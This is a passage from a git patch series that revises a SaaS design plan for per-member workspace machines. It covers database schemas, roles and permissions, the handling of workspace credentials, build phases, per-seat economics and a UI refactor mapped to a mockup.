The launcher ("What should we build?") offers recipes and a pick-up -list of recent sessions. - -Changes to the mockup, forced by the decisions above: - -- The **asleep pane and wake button are deleted** (D3). A workspace is always - ready or it is broken. -- The rail header **drops the RAM label** (D2). It keeps the name and Share. -- **Default visibility flips to workspace-read** (D5). The launcher's status - line becomes "Runs in engineering · visible to the workspace" and offers - "make it private". -- The head's run-as line simplifies: sessions always run on the owner's - machine, so `owner · cwd · visibility` says everything (D8). -- The mockup's `/workspace/site` vs `/home/ana/site` inconsistency resolves: - every path is on the owner's machine; the drive mounts at one well-known - path on every machine. - -What this removes from today's webapp: the workspace create flow as a member -concern (creation and machine type become admin actions), every machine-type -picker outside admin surfaces, and workspace state chrome (creating, -stuck, wake). The Connections page stays as the personal-OAuth surface. The -Keys panel is new: workspace-scoped static keys, role-gated, with a use-audit -listing sessions, never values. - -The drive needs one property the old plan lacked: **history**. Every write -through a session is a named event (who, which session, when), and a file can -be restored to a prior version. This is the answer to "who changed the shared -file" — the session is the attribution unit — and it protects the -least-git-fluent users, who work in the least protected store today. - -## 5. Builds - -**Build 1 — member machines.** Schema: a machines table keyed by (workspace, -member); workspace `machine_type`; provision on invite, destroy on -leave/removal, janitor for unredeemed invites; auto-upgrade on pressure. -`vm_limit` counts member machines (D6). Done when: an invited member's first -open lands on a running machine, and a removed member's machine is destroyed -with a grace snapshot. - -**Build 2 — sessions as objects.** Control-plane session rows: id, workspace, -owner, title (from the first sentence), kind (chat/terminal), live state, -visibility, timestamps. The webapp overhaul to the three-column rail ships -here, reading real rows. Done when: the rail lists real sessions across -members, and resume works from the pick-up list. - -**Build 3 — sharing.** Visibility enforcement (D5), live watch, "send" turns -with attribution and the Co-authored-by trailer (D8), Fork. Done when: a -read-and-send session shows the sender on every guest turn, and Fork lands a -copy on the forker's machine. - -**Build 4 — workspace surfaces.** The drive with journaled writes and -restore; the key manager with injection-at-use and per-session audit; agent -rules as a workspace object layered under each member's own rules, including -the D4 ruling. Done when: a static key is used in a watched session and never -appears in its transcript, and a drive file shows its change history. - -**Build 5 — pricing alignment.** The billing worker translates the paid plan -into the same integers it writes today, with machine-per-seat semantics; the -free-plan model-key connection flow; trial defaults update in the operator -console. Done when: a paid org's invite provisions on platform compute with -no BYOK step, and a free org's member is asked for a model key at first -session start. - -Build 1 and Build 2 are independent and can land in either order. Build 3 -needs both. Build 4 and 5 are parallel after that. - -## 6. Economics - -Reference numbers for a 10-person org (5 engineers on 8 GB, 5 light members -on 4 GB), Hetzner Falkenstein CX line, USD at 1.10/EUR: - -| Line | $/mo | -| --- | --- | -| 5 × CX32 (engineers), incl. 20% backups | 44.90 | -| 5 × CX22 (light), incl. 20% backups | 25.00 | -| Drive, snapshots, one shared service | ~8.00 | -| **Org total** | **~$78–90** | - -Per-seat infrastructure cost: $5–9. Against $100/seat pricing, infrastructure -is 8–9% of revenue. The dominant COGS at that price is model inference, not -machines — which is why D7 makes tokens BYOK on the free plan and why a paid -plan needs either a token allowance with metering or pass-through billing -before any "unlimited" wording ships. A runaway machine is capped by the -provider's monthly price ceiling ($7.50–18/seat); a runaway token bill has no -provider ceiling. Price tokens before polishing machine costs. - -Trial exposure (D7): a default trial at 5 seats for 14 days holds at most -~$20 of compute. The operator console's caps are the spend control. - -## 7. Open questions - -1. **The multi-workspace member.** A person in three workspaces holds three - machines. Accepted for isolation and simplicity (cost is noise), but the - personal-connection story must roam: connecting GitHub once must serve all - their machines. Credential roaming exists as a plan - (`plans/CREDENTIAL-ROAMING.md`) — reconcile with it. -2. **Send-turn transport.** How a guest turn reaches the owner's machine — - through the control plane as a relayed instruction, or a direct broker - channel. Decides latency and the audit shape. -3. **Drive mechanics.** Journaled writes need a mediation layer (drive - service or synced store). The concept requires history and attribution; - the mechanism is unchosen. -4. **Migration.** Existing single-box workspaces map to "workspace with one - member machine" almost for free, but the box's dual role (workspace state - + member state) must split. Needs its own small plan. -5. **Idle machines on the free BYOK plan.** Always-on machines on a - customer's own Hetzner key bill the customer 24/7. Do free orgs get a - dormancy policy (stop after N idle days, 40 s resume), or is always-on a - paid-plan property? Leaning: dormancy on free, always-on as part of what - the seat price buys. - -## Appendix — decisions from the design review, recorded - -- **Per-member always-on was chosen over cheaper designs** (shared - workspace host; prewarm-by-schedule; split conversation/execution planes; - microVM substrate) for one reason: nothing to operate and nothing to - predict, paid for with margin the price point demonstrably has. The - split-plane design remains the fallback if free-tier scale ever makes - always-on machines unaffordable; the microVM substrate (`plans/MICROVM.md`) - remains the endgame that would make per-session isolation cheaper than - per-member machines. -- **The "machine never goes away" promise moves up a level.** The durable - thing is the workspace: rail, drive, keys, rules, repo list. Machines are - cattle behind a curtain — even though each member's machine is, in - practice, a small well-backed-up pet. -- **The shared box's one advantage was cost, and at these prices the - advantage does not exist.** The whole per-member fleet costs about the same - as one always-on shared box sized for the same org. +A workspace works like a Discord server. Members are invited to it with a +role. Each member gets one always-on machine, sized by the workspace's +machine type, provisioned when the invite is sent, destroyed when they leave. +Sessions inherit the workspace's agent rules, drive, and credentials. +Machines never appear as a user decision — only in workspace administration. + +**The workspace is its own template.** There is no separate template object. +A workspace *carries* the config a template used to carry — machine type, +environment, agent rules, repo list, workspace credentials — and "new +workspace from existing" clones that config. The `workspace_templates`, +`workspace_template_folders`, `workspace_template_repos`, and +`workspace_template_connections` tables are deleted; recipes re-point their +launch source at a workspace. + +## 1. The data model + +### workspaces — the durable, configurable thing + +The workspace row loses every VM column (they move to `machines`) and gains +the config role the template used to play. A workspace has no `phase`: it is +always present; only machines have lifecycle. + +```sql +workspaces ( + id TEXT PRIMARY KEY, + org_id TEXT NOT NULL REFERENCES orgs(id), + name TEXT NOT NULL, + owner_membership_id TEXT NOT NULL REFERENCES memberships(id), -- creator; first admin + machine_type_id TEXT NOT NULL, -- the default for every member machine + auto_provision INTEGER NOT NULL DEFAULT 1, -- provision + start VM on invite + environment TEXT, -- existing shape (0017) + agent_rule_id TEXT REFERENCES agent_rules(id), + created_at INTEGER NOT NULL, + updated_at INTEGER NOT NULL +) +-- dropped from workspaces: phase, vm_id, volume_id, ssh_*, phone_home_*, +-- tunnel_id/tunnel_hostname/dns_record_id, compute_credential_source, +-- box_update_*, org_share_role (replaced by workspace_members) +``` + +### workspace_members — membership with a stored role + +Replaces the computed role and the `workspace_grants` sharing ACL. Roles are +stored, not derived. `admin` here is **workspace admin** — distinct from org +admin, with distinct powers (§3). + +```sql +workspace_members ( + workspace_id TEXT NOT NULL REFERENCES workspaces(id), + membership_id TEXT NOT NULL REFERENCES memberships(id), + role TEXT NOT NULL CHECK (role IN ('admin','editor','viewer')), + added_by_membership_id TEXT REFERENCES memberships(id), + added_at INTEGER NOT NULL, + PRIMARY KEY (workspace_id, membership_id) +) +``` + +Org admins keep implicit reach into every workspace of the org (today's +invariant, `workspace-access.ts:39`), but implicit reach is *access*, not +workspace-admin powers — see the matrix in §3. + +### machines — one VM per (workspace, member) + +The machines table takes every VM column the workspace row loses. A machine +belongs to a workspace and to exactly one of: a membership (after +redemption) or an invite (between invite creation and redemption — no +membership row exists yet, so the invite is the key). + +```sql +machines ( + id TEXT PRIMARY KEY, + workspace_id TEXT NOT NULL REFERENCES workspaces(id), + membership_id TEXT REFERENCES memberships(id), + invite_id TEXT REFERENCES invites(id), + state TEXT NOT NULL CHECK (state IN + ('provisioning','running','stopped','error', + 'destroying','destroyed')), + machine_type_id TEXT NOT NULL, -- copied from the workspace at provision + compute_credential_source TEXT NOT NULL CHECK (compute_credential_source IN ('org','deployment')), + vm_id TEXT, + volume_id TEXT, + ssh_host TEXT, ssh_port INTEGER, ssh_user TEXT, ssh_host_public_key TEXT, + phone_home_hash TEXT, phone_home_used INTEGER, + tunnel_id TEXT, tunnel_hostname TEXT, dns_record_id TEXT, + error TEXT, + created_at INTEGER NOT NULL, + updated_at INTEGER NOT NULL, + CHECK ((membership_id IS NULL) <> (invite_id IS NULL)), + UNIQUE (workspace_id, membership_id) +) +``` + +`boxes.workspace_id UNIQUE` becomes `boxes.machine_id UNIQUE`. The box +principal is the machine's member, not the workspace owner — this is the D4 +identity fix, and the change site is known (`workspaces.ts:1252-1256`, +`mint.ts:243`). + +`machine_type_id` is **copied at provision**. A workspace machine-type +change applies to machines provisioned after the change. Live machines keep +their size; resize/auto-upgrade is deferred (§5). + +### invite_workspaces — what an invite grants + +Invites stay org-scoped (they must: the user does not exist yet). An invite +carries workspace assignments. Redemption creates the `workspace_members` +rows and re-keys each invite-held machine to the new membership. + +```sql +invite_workspaces ( + invite_id TEXT NOT NULL REFERENCES invites(id), + workspace_id TEXT NOT NULL REFERENCES workspaces(id), + role TEXT NOT NULL CHECK (role IN ('admin','editor','viewer')), + PRIMARY KEY (invite_id, workspace_id) +) +``` + +### workspace_credentials — the statics the workspace adds + +Sealed static keys, scoped to the workspace, managed by the **org admin** in +workspace settings (and at create time). Values are AES-256-GCM sealed with +the existing `CRED_MASTER_KEY`, AAD = `wscred::`. Note: +this deliberately reverses migration 0028's ruling ("ad-hoc secrets are a +workspace file"); the reversal is intended and recorded here. + +```sql +workspace_credentials ( + id TEXT PRIMARY KEY, + workspace_id TEXT NOT NULL REFERENCES workspaces(id), + name TEXT NOT NULL, -- 'stripe-test', 'sentry', ... + label TEXT, + ciphertext TEXT NOT NULL, + delivery TEXT NOT NULL CHECK (delivery IN ('env','header')), + env_name TEXT, -- when delivery = 'env' + created_by_membership_id TEXT NOT NULL REFERENCES memberships(id), + created_at INTEGER NOT NULL, updated_at INTEGER NOT NULL, + revoked_at INTEGER +) +-- one live row per (workspace_id, name): partial unique index WHERE revoked_at IS NULL +``` + +### Wire types + +```ts +type WorkspaceRole = 'admin' | 'editor' | 'viewer'; +type MachineState = 'provisioning' | 'running' | 'stopped' | 'error' + | 'destroying' | 'destroyed'; + +interface MachineView { + id: string; + state: MachineState; + machineTypeId: string; + membershipId: string | null; // null while invite-held + inviteId: string | null; + createdAt: number; + updatedAt: number; +} + +interface WorkspaceMemberView { + membershipId: string; + name: string; + role: WorkspaceRole; + machine: MachineView | null; // null: not provisioned (auto_provision off, or viewer) +} + +interface WorkspaceView { + id: string; + orgId: string; + name: string; + ownerMembershipId: string; + machineTypeId: string; // default for new machines + autoProvision: boolean; + myRole: WorkspaceRole; + members: WorkspaceMemberView[]; + credentials: { name: string; label: string | null; createdAt: number }[]; + // names only; a value never crosses the wire +} + +interface CreateWorkspaceRequest { + name: string; + machineTypeId: string; + autoProvision?: boolean; // default true + members?: { membershipId?: string; email?: string; role: WorkspaceRole }[]; + // membershipId: existing org member, added directly + // email: creates an org invite + invite_workspaces row + environment?: Record; + agentRuleId?: string; + repos?: string[]; + credentials?: { name: string; label?: string; value: string; + delivery: 'env' | 'header'; envName?: string }[]; + // create-time only path where a value is sent; + // org-admin caller required when present + cloneFromWorkspaceId?: string; // copy config (never credential values, never members) +} +``` + +## 2. Lifecycle rules + +1. **Invite sent** (existing member assigned, or email invite created): if + `auto_provision = 1`, a machine row is created (invite-keyed for email + invites, membership-keyed for existing members) and provisioned to + `running`. If `auto_provision = 0`, no machine; it provisions on first + open or by workspace-admin action. +2. **Invite redeemed**: `workspace_members` rows created from + `invite_workspaces`; invite-held machines re-key to the membership. +3. **Viewer role**: no machine, ever. Viewers watch sessions; they do not + run them. +4. **Member removed from workspace / leaves org**: their machines in that + scope are destroyed after a grace snapshot; volume retention (existing + 7-day sweep) covers restore. +5. **Unredeemed invite**: janitor destroys invite-held machines and expires + the invite after 14 days. +6. **Workspace deleted**: all machines destroy; the workspace row tombstones + after the last machine is gone. +7. **vm_limit** counts `machines` rows in live states; `vmsUsed` and the + entitlements fixtures move to the same definition. + +## 3. Permissions + +| Action | Org admin | WS admin | Editor | Viewer | +| --- | --- | --- | --- | --- | +| Create workspace | ✓ | — | — | — | +| Workspace settings (name, machine type, auto_provision, config) | ✓ | ✓ | — | — | +| Manage member roles in the workspace | ✓ | ✓ | — | — | +| Invite / add / remove workspace members | ✓ | ✓ | — | — | +| Manage members' machine lifecycle (provision, stop, start, recreate, destroy) | ✓ | ✓ | own stop/start | — | +| Workspace credentials: add, rotate, revoke | ✓ | — | — | — | +| Workspace credentials: use in sessions | ✓ | ✓ | ✓ | — | +| Run sessions on own machine | ✓ | ✓ | ✓ | — | +| Watch workspace-visible sessions | ✓ | ✓ | ✓ | ✓ | +| Delete workspace | ✓ | ✓ | — | — | + +Workspace admin and org admin are distinct on purpose: the workspace admin +runs the team (roles, machines); the org admin holds the org's secrets and +billing. Org-admin implicit access remains, as today. + +## 4. Credentials — two planes, one resolution rule + +**Personal plane.** All of a member's personal credentials are available on +that member's machine, in every workspace: connection grants (GitHub, model +keys) resolve against the *machine's member*, and harness logins roam via +the broker exactly as today (`broker_members` is already per-principal). +This replaces today's owner-resolution (`mint.ts:243`) — the machine's +member IS the identity, so nothing is borrowed and no disclosure banner is +needed. + +**Workspace plane.** The workspace box only *adds* the workspace +credentials from §1. Every member's machine in the workspace can use them +(viewer excepted — no machine). Audit rows name the machine and its member. + +**Resolution rule for `blitz-cred get `:** +1. The member's own grant for ``, if one exists — personal wins, so + the agent acts as the member whenever it can. +2. Else the workspace credential ``. +3. Else the existing refusal + connection request flow. + +Injection-at-use (values out of transcripts) rides the existing seams +(`canUseTool.updatedInput`, the git-helper pattern) and lands with Build 4. + +## 5. Deferred + +- **Auto-upgrade on pressure** (the old D2 resize): deferred. The provider + interface has no resize verb and recreate refuses type changes; this is a + later optimization, not part of the model. Until then: workspace admin + changes the workspace machine type, then recreates a machine. +- Per-session credential audit dimension: lands with sessions (Build 2+). + +## 6. The workspace details page (revamp target) + +The dialog at `/workspaces/:id` ("Workspace details", annotated for revamp) +becomes the workspace administration surface. Tabs: + +1. **Members** — one row per member: name, role selector (WS admin), machine + state chip, and lifecycle controls (provision / stop / start / recreate / + destroy) per the matrix. Invite control at the top. +2. **Credentials** — workspace credential list: name, label, created-by, + created-at; add/rotate/revoke for org admins. Values are write-only. +3. **Settings** — name, machine type (with "applies to new machines" note), + auto_provision toggle, environment, agent rules, repos, clone action, + delete. + +Today's Compute/Storage panels collapse into the per-member machine rows; +per-machine detail (vCPU, RAM, disk, volume) opens from the row. + +## 7. Builds (revised) + +**Build 1 — workspaces, members, machines.** The schema in §1 minus +credentials; migration off the template tables; invite assignments; +provision-on-invite with the auto_provision toggle; destroy-on-leave; +janitors re-pointed at `machines`; `vm_limit`/`vmsUsed` re-based; the +details-page Members tab. Done when: an invited member's first open lands +on a running machine, a removed member's machine destroys with a grace +snapshot, and a WS admin can stop and start any member machine from the +page. + +**Build 2 — sessions as objects.** Unchanged from the prior revision +(control-plane `agent_sessions`, the three-column rail, promote the ACP +actor). Grounding: the survey's Build-2 section. + +**Build 3 — sharing.** Unchanged: visibility enforcement, watch, send with +attribution, fork. + +**Build 4 — credentials.** Member-resolution mint (D4 fix), +`workspace_credentials` + the Credentials tab, resolution rule §4, +injection-at-use, use-audit events. + +**Build 5 — pricing alignment.** Unchanged, plus the fixtures move for +`vmsUsed`. + +Build 1 and Build 2 stay independent. Build 4's D4 fix can ship inside +Build 1 (it is one resolution change once boxes are member-keyed). + +## Appendix — standing decisions + +- Sessions default to workspace-visible; private is the exception. +- Attribution follows the credential; shared context never authorizes a + personal-credential action. +- A "send" turn runs as the machine's owner, attributed to the sender, + `Co-authored-by` on commits; Fork is the identity escape. +- Free plan is BYOK twice (compute + model keys); sponsored trials (#104) + are the only exception. #104 must land before Build 5. +- Always-on machines; no sleep state in the product. Economics recorded in + the prior revision and the ground-truth survey. From b0a06e401cbb41221eb5b3506b2cf6faa07f320f Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 20:35:53 +0000 Subject: [PATCH 04/43] docs(plans): machine types are per machine, never a workspace restriction The workspace holds only a default. Each machine carries its own type, overridable at create and invite, mutable via SetMachineType: destroy the VM, keep the volume, provision the new type on the same volume. Cross-location change deferred until a volume move exists. Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 72 ++++++++++++++++++++++++++++++---------- 1 file changed, 54 insertions(+), 18 deletions(-) diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md index dcd5c3c8..0af94325 100644 --- a/plans/MEMBER-MACHINES.md +++ b/plans/MEMBER-MACHINES.md @@ -44,7 +44,7 @@ workspaces ( org_id TEXT NOT NULL REFERENCES orgs(id), name TEXT NOT NULL, owner_membership_id TEXT NOT NULL REFERENCES memberships(id), -- creator; first admin - machine_type_id TEXT NOT NULL, -- the default for every member machine + default_machine_type_id TEXT NOT NULL, -- a default, never a restriction (§1a) auto_provision INTEGER NOT NULL DEFAULT 1, -- provision + start VM on invite environment TEXT, -- existing shape (0017) agent_rule_id TEXT REFERENCES agent_rules(id), @@ -84,6 +84,12 @@ belongs to a workspace and to exactly one of: a membership (after redemption) or an invite (between invite creation and redemption — no membership row exists yet, so the invite is the key). +**The volume is the durable machine; the VM is an incarnation.** Machine +state is volume-backed (#88), so the VM fields are replaceable while the +machine row and its volume persist. This is what makes machine types +per-member and mutable (§1a): a type change destroys the VM, keeps the +volume, and creates a new VM of the new type. + ```sql machines ( id TEXT PRIMARY KEY, @@ -93,7 +99,7 @@ machines ( state TEXT NOT NULL CHECK (state IN ('provisioning','running','stopped','error', 'destroying','destroyed')), - machine_type_id TEXT NOT NULL, -- copied from the workspace at provision + machine_type_id TEXT NOT NULL, -- per machine; defaulted, overridable, mutable compute_credential_source TEXT NOT NULL CHECK (compute_credential_source IN ('org','deployment')), vm_id TEXT, volume_id TEXT, @@ -113,9 +119,24 @@ principal is the machine's member, not the workspace owner — this is the D4 identity fix, and the change site is known (`workspaces.ts:1252-1256`, `mint.ts:243`). -`machine_type_id` is **copied at provision**. A workspace machine-type -change applies to machines provisioned after the change. Live machines keep -their size; resize/auto-upgrade is deferred (§5). +### §1a Machine types are per machine, not per workspace + +The workspace holds only a **default**. The model must never restrict which +types a workspace can hold. Three consequences: + +1. At provision, a machine takes an explicit type when one is given (per + member at create or invite), else the workspace default. +2. A machine's type is mutable. `SetMachineType` destroys the VM, keeps the + volume, and provisions a new VM of the new type on the same volume. The + member's disk state survives; running sessions restart. +3. Different members of one workspace can hold different types at the same + time. + +One provider constraint carries over: a volume attaches within its own +location. A type change keeps the volume when the new type is in the same +location. A cross-location change needs a volume move — deferred (§5). +Automatic resize on pressure is also deferred; `SetMachineType` is the +manual path until then. ### invite_workspaces — what an invite grants @@ -125,9 +146,10 @@ rows and re-keys each invite-held machine to the new membership. ```sql invite_workspaces ( - invite_id TEXT NOT NULL REFERENCES invites(id), - workspace_id TEXT NOT NULL REFERENCES workspaces(id), - role TEXT NOT NULL CHECK (role IN ('admin','editor','viewer')), + invite_id TEXT NOT NULL REFERENCES invites(id), + workspace_id TEXT NOT NULL REFERENCES workspaces(id), + role TEXT NOT NULL CHECK (role IN ('admin','editor','viewer')), + machine_type_id TEXT, -- NULL = workspace default (§1a) PRIMARY KEY (invite_id, workspace_id) ) ``` @@ -166,13 +188,18 @@ type MachineState = 'provisioning' | 'running' | 'stopped' | 'error' interface MachineView { id: string; state: MachineState; - machineTypeId: string; + machineTypeId: string; // this machine's type; workspace holds only a default + volumeId: string | null; // the durable half; survives SetMachineType membershipId: string | null; // null while invite-held inviteId: string | null; createdAt: number; updatedAt: number; } +interface SetMachineTypeRequest { + machineTypeId: string; // same-location: VM recreates on the same volume +} + interface WorkspaceMemberView { membershipId: string; name: string; @@ -185,7 +212,7 @@ interface WorkspaceView { orgId: string; name: string; ownerMembershipId: string; - machineTypeId: string; // default for new machines + defaultMachineTypeId: string; // a default only; each machine carries its own autoProvision: boolean; myRole: WorkspaceRole; members: WorkspaceMemberView[]; @@ -195,11 +222,13 @@ interface WorkspaceView { interface CreateWorkspaceRequest { name: string; - machineTypeId: string; + defaultMachineTypeId: string; autoProvision?: boolean; // default true - members?: { membershipId?: string; email?: string; role: WorkspaceRole }[]; + members?: { membershipId?: string; email?: string; role: WorkspaceRole; + machineTypeId?: string }[]; // membershipId: existing org member, added directly // email: creates an org invite + invite_workspaces row + // machineTypeId: per-member override of the default environment?: Record; agentRuleId?: string; repos?: string[]; @@ -231,6 +260,9 @@ interface CreateWorkspaceRequest { after the last machine is gone. 7. **vm_limit** counts `machines` rows in live states; `vmsUsed` and the entitlements fixtures move to the same definition. +8. **SetMachineType**: destroy the VM, keep the volume, provision a new VM + of the new type, reattach. Sessions restart; disk state survives. Refuse + a cross-location type until the volume move lands (§5). ## 3. Permissions @@ -241,6 +273,7 @@ interface CreateWorkspaceRequest { | Manage member roles in the workspace | ✓ | ✓ | — | — | | Invite / add / remove workspace members | ✓ | ✓ | — | — | | Manage members' machine lifecycle (provision, stop, start, recreate, destroy) | ✓ | ✓ | own stop/start | — | +| Change a machine's type, keep its volume (SetMachineType) | ✓ | ✓ | — | — | | Workspace credentials: add, rotate, revoke | ✓ | — | — | — | | Workspace credentials: use in sessions | ✓ | ✓ | ✓ | — | | Run sessions on own machine | ✓ | ✓ | ✓ | — | @@ -276,10 +309,11 @@ Injection-at-use (values out of transcripts) rides the existing seams ## 5. Deferred -- **Auto-upgrade on pressure** (the old D2 resize): deferred. The provider - interface has no resize verb and recreate refuses type changes; this is a - later optimization, not part of the model. Until then: workspace admin - changes the workspace machine type, then recreates a machine. +- **Auto-upgrade on pressure** (the old D2 resize): deferred. This is a + later optimization. Until then, `SetMachineType` is the manual path. +- **Cross-location type change**: deferred. It needs a volume move + (snapshot + restore in the new location). Until then, `SetMachineType` + refuses a type whose location differs from the volume's. - Per-session credential audit dimension: lands with sessions (Build 2+). ## 6. The workspace details page (revamp target) @@ -288,8 +322,10 @@ The dialog at `/workspaces/:id` ("Workspace details", annotated for revamp) becomes the workspace administration surface. Tabs: 1. **Members** — one row per member: name, role selector (WS admin), machine - state chip, and lifecycle controls (provision / stop / start / recreate / - destroy) per the matrix. Invite control at the top. + state chip, machine type selector (SetMachineType, with a "keeps the + disk" note), and lifecycle controls (provision / stop / start / recreate + / destroy) per the matrix. Invite control at the top, with a per-member + type override. 2. **Credentials** — workspace credential list: name, label, created-by, created-at; add/rotate/revoke for org admins. Values are write-only. 3. **Settings** — name, machine type (with "applies to new machines" note), From 298f5faa37f54825518f4e60aef307267a8f1b39 Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 20:43:03 +0000 Subject: [PATCH 05/43] docs(plans): sidecar the strip+rail UI refactor, sessions-free Adopt columns 1 and 2 of the session-rail mockup now, listing the existing managed tab types per workspace. Tab strip, panes, right icon strip, and mobile drawer stay unchanged. Build 2 later swaps the rail's data source to session rows without a layout change. Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 58 +++++++++++++++++++++++++++++++++++++--- 1 file changed, 55 insertions(+), 3 deletions(-) diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md index 0af94325..d78c3559 100644 --- a/plans/MEMBER-MACHINES.md +++ b/plans/MEMBER-MACHINES.md @@ -335,6 +335,57 @@ becomes the workspace administration surface. Tabs: Today's Compute/Storage panels collapse into the per-member machine rows; per-machine detail (vCPU, RAM, disk, volume) opens from the row. +## 6a. Sidecar — the strip and the rail, before sessions + +A UI refactor that ships independently of every build, grounded on +`plans/mockups/session-rail.html` (columns 1 and 2 only). **No sessions +yet.** The rail lists the managed tab types that already exist under a +workspace (`claude | codex | terminal | chat` from `webapp_state`), one +workspace at a time. Everything to the right of the rail stays as it is: +the tab strip (`WebAppHeader`), the terminal and editor panes, the right +icon strip (`WorkspaceRailStrip`), and the mobile drawer semantics. + +**Column 1 — the strip** (replaces the left half of `DriveRail`): + +- Org mark at the top; the org-switcher popover moves onto it. +- One tile per workspace: a 2–3 letter code, full name as tooltip, a ring + on the active tile. A "+" tile creates a workspace (per the §3 matrix). +- Bottom: a Drive icon (routes to `/`) and the user/settings avatar. +- The Templates and Recipes nav rows die with the template concept + (Recipes is already hidden, #103). +- The live dot on a tile arrives with sessions; until then, no dot. + +**Column 2 — the rail** (replaces the right half of `DriveRail`): + +- Header: workspace name plus a Share button. Share opens the existing + `ShareWorkspaceDialog` until Build 3 replaces it. +- A pinned "New tab" action above the list; it opens the same menu as the + tab strip's "+" (spawn types, ports, previews). +- Rows: the active workspace's managed tabs, same filter as today's + `railSessions` memo. Row = type glyph in the gutter + title. No time + column, no live state, no owner faces yet — those are session + properties and arrive with Build 2. +- A row click activates that tab in the tab strip; the active row + highlights. A strip click switches the workspace. +- Non-workspace pages (Drive, settings) render with the strip and use the + rail-plus-main width for their content. + +**Order of work** (from the ground-truth survey): + +1. Land or rebase `feat/operator-console` first — it collides with + `DriveRail`, `CloudApp`, and `sessions-page-state`. +2. Split `CloudApp.tsx` into rail container, work-pane container, route + switch, and dialog stack. This is the first commit, before visuals. +3. Migrate the ~20 class-selector test assertions to role/label queries. +4. Build Strip and Rail as new components; delete `DriveRail`; rewire the + 8 `railFor` call sites. Shell grid becomes + `48px 252px minmax(0,1fr) auto`. + +**What this buys Build 2:** when sessions become objects, the rail swaps +its data source from `webapp_state` tabs to `agent_sessions` rows and +gains the clock, the live state, the owner gutter, and visibility — with +no further layout change. + ## 7. Builds (revised) **Build 1 — workspaces, members, machines.** The schema in §1 minus @@ -346,9 +397,10 @@ on a running machine, a removed member's machine destroys with a grace snapshot, and a WS admin can stop and start any member machine from the page. -**Build 2 — sessions as objects.** Unchanged from the prior revision -(control-plane `agent_sessions`, the three-column rail, promote the ACP -actor). Grounding: the survey's Build-2 section. +**Build 2 — sessions as objects.** Control-plane `agent_sessions`; promote +the ACP actor. The rail shell already exists via the sidecar (§6a); this +build swaps its data source and adds clock, live state, owner, visibility. +Grounding: the survey's Build-2 section. **Build 3 — sharing.** Unchanged: visibility enforcement, watch, send with attribution, fork. From bf6b93f1b638631e7590b122209c416ca416d503 Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 20:47:04 +0000 Subject: [PATCH 06/43] docs(plans): ground the UI sidecar in the session-rail mockup The mockup is the canonical reference for strip and rail: structure, dimensions, and tokens come from it. Add an element-by-element mapping from mockup selectors to today's data and to the Build 2 swap. Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 83 +++++++++++++++++++++------------------- 1 file changed, 43 insertions(+), 40 deletions(-) diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md index d78c3559..a8b06a1a 100644 --- a/plans/MEMBER-MACHINES.md +++ b/plans/MEMBER-MACHINES.md @@ -337,38 +337,47 @@ per-machine detail (vCPU, RAM, disk, volume) opens from the row. ## 6a. Sidecar — the strip and the rail, before sessions -A UI refactor that ships independently of every build, grounded on -`plans/mockups/session-rail.html` (columns 1 and 2 only). **No sessions -yet.** The rail lists the managed tab types that already exist under a -workspace (`claude | codex | terminal | chat` from `webapp_state`), one -workspace at a time. Everything to the right of the rail stays as it is: -the tab strip (`WebAppHeader`), the terminal and editor panes, the right -icon strip (`WorkspaceRailStrip`), and the mobile drawer semantics. - -**Column 1 — the strip** (replaces the left half of `DriveRail`): - -- Org mark at the top; the org-switcher popover moves onto it. -- One tile per workspace: a 2–3 letter code, full name as tooltip, a ring - on the active tile. A "+" tile creates a workspace (per the §3 matrix). -- Bottom: a Drive icon (routes to `/`) and the user/settings avatar. -- The Templates and Recipes nav rows die with the template concept - (Recipes is already hidden, #103). -- The live dot on a tile arrives with sessions; until then, no dot. - -**Column 2 — the rail** (replaces the right half of `DriveRail`): - -- Header: workspace name plus a Share button. Share opens the existing - `ShareWorkspaceDialog` until Build 3 replaces it. -- A pinned "New tab" action above the list; it opens the same menu as the - tab strip's "+" (spawn types, ports, previews). -- Rows: the active workspace's managed tabs, same filter as today's - `railSessions` memo. Row = type glyph in the gutter + title. No time - column, no live state, no owner faces yet — those are session - properties and arrive with Build 2. -- A row click activates that tab in the tab strip; the active row - highlights. A strip click switches the workspace. -- Non-workspace pages (Drive, settings) render with the strip and use the - rail-plus-main width for their content. +A UI refactor that ships independently of every build. **The canonical +reference is the mockup**: `plans/mockups/session-rail.html`, live at +https://blitzos-session-rail.app.blitz.dev/. Adopt its `#strip` and +`#rail` as designed — structure, dimensions, and visual vocabulary come +from the mockup, not from this document. Its stylesheet is the visual +spec (`--paper/--ink/--accent` tokens, radii, the 48px/252px columns); +port those values into `tokens.css` rather than restyle by taste. + +**Scope.** Columns 1 and 2 only. No change to the right icon strip +(`WorkspaceRailStrip`), the tab strip (`WebAppHeader`), the terminal and +editor panes, or the mobile drawer semantics. **No sessions yet** — the +rail lists the managed tab types that already exist under a workspace +(`claude | codex | terminal | chat` from `webapp_state`), one workspace +at a time. Build 2 later swaps the rail's data source to session rows; +the mockup already draws the end state, so no second layout change comes. + +**Element-by-element mapping** — mockup element → what feeds it now → +what changes at Build 2: + +| Mockup element | Now (pre-sessions) | At Build 2 | +| --- | --- | --- | +| `.app` grid `48px 252px 1fr` | replaces `drive-shell`'s `264px` rail column; the right icon strip stays as a fourth column | unchanged | +| `#strip` `.orgmark` | org mark; the org-switcher popover moves onto it | unchanged | +| `#strip` `.wtile` per workspace | tile with 2–3 letter code, name tooltip, `wtile--on` ring on the active one | `.beat` live dot when a session is live | +| `#strip` "+" tile | create workspace (per the §3 matrix) | unchanged | +| `#strip` surface icons (Files, Ports, Connections) | present per the mockup; they focus the same panels the right strip toggles today | Keys and Members surfaces join (§6) | +| `#strip` `.av` avatar | user/settings menu | unchanged | +| `#rail` `.rhead` name + `.sub` + share icon | workspace name; `.sub` slot stays empty (the mockup shows RAM; machines are not user-facing — open mapping, see below); share opens `ShareWorkspaceDialog` | `.sub` = live-session count or member count; share becomes the session share popover (Build 3) | +| `.newbar` "New session" | pinned action; opens the same menu as the 